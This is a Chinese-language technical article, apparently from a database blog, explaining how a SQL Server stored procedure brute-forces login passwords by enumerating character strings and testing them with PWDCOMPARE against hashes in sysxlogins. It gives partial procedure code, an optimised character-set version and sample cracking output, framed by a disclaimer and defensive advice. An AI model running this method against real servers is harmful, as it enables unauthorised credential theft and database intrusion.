本文僅供安全研究、滲透測試授權範圍內、或遺忘密碼自救 參考。未經授權嘗試破解他人資料庫帳密屬違法行為,嚴禁用於非法用途。生產環境請採用強密碼、帳號鎖定策略、稽核登入失敗、最小權限原則等防禦措施。
master.dbo.sysxlogins 儲存登入帳號與密碼雜湊。PWDCOMPARE(明文, 雜湊, 類型) 可比對密碼是否正確(回傳 1 表吻合)。PWDCOMPARE → 找出匹配者。ALTER PROC p_GetPassword
@username SYSNAME = NULL,
@pwdlen INT = 2
AS
BEGIN
-- 建立 256 字元查表暫存表 #t (char(0)~char(255))
-- 建立目標帳號暫存表 #pwd
-- 逐位數窮舉:1 字元 → 2 字元 → ... → @pwdlen 字元
-- 每輪動態 SQL UPDATE #pwd SET ... WHERE PWDCOMPARE(組合字串, password, type)=1
-- 最後輸出破解成功的帳號、密碼、ASCII 碼
END
字元集:256 個 ASCII 字元(含不可列印字元),理論可破解 7 位密碼(256^7 < MAX_BIGINT)。
| 項目 | 原始版 | 優化版 |
|---|---|---|
| 字元集 | 256 全 ASCII | 66 個鍵盤可見字元 (a-z, 0-9, 符號) |
| 暫存表結構 | IDENTITY INT | CHAR(1) PRIMARY KEY CLUSTERED |
| 動態 SQL 組裝 | CHAR() 函數 | 直接串接字元常值,減少函數呼叫 |
| 效能統計 | 無 | 每輪列印預估比對筆數 (rows) |
| 理論最大長度 | 7 位 | 10 位 (66^10 < MAX_BIGINT) |
| 純數字密碼 | 不支援 | 10^19 < MAX_BIGINT → 理論 19 位 |
DECLARE @ss VARCHAR(256) = 'abcdefghijklmnopqrstuvwxyz`0123456789-=[]\;,./~!@#$%^&*()_+{}|:<>?';
-- 建立 #t(c CHAR(1) PRIMARY KEY CLUSTERED) 填入 @ss 每個字元
-- 首輪:1 字元
SET @s1 = 'aa.c', @s2 = 'CAST(ASCII(aa.c) AS VARCHAR)', @s3 = ',#t aa';
EXEC('UPDATE pwd SET jm=1, pwdstr='+@s1+', pwd='+@s2+' FROM #pwd pwd'+@s3+' WHERE pwd.jm=0 AND PWDCOMPARE('+@s1+', pwd.password, pwd.type)=1');
-- 後續輪次迴圈遞增 @l,動態增加 JOIN 與字元串接
WHILE EXISTS(SELECT 1 FROM #pwd WHERE jm=0 AND @l < @pwdlen)
BEGIN
SET @l += 1;
-- 組裝下一輪 JOIN 別名 (aa, ab, ac...) 與字元串接
EXEC(...);
END
EXEC p_GetPassword2 'b', 6;
-- 輸出
用戶名 密碼 密碼ASCII 查詢次數和行數
b 123 49,50,51 1th,66rows;2th,4356rows;3th,287496rows
LOGON TRIGGER 或群組原則記錄失敗次數並暫時封鎖。SERVER AUDIT 或錯誤日誌監控異常登入嘗試。sa,建立專用低權限登入。暴力破解本質是指數級窮舉,字元集縮小與長度限制是關鍵防線。DBA 應著重於預防而非事後追查;若需恢復遺忘密碼,請參考 -m 單一使用者模式重設密碼(見文章 72235),遠比破解安全合法。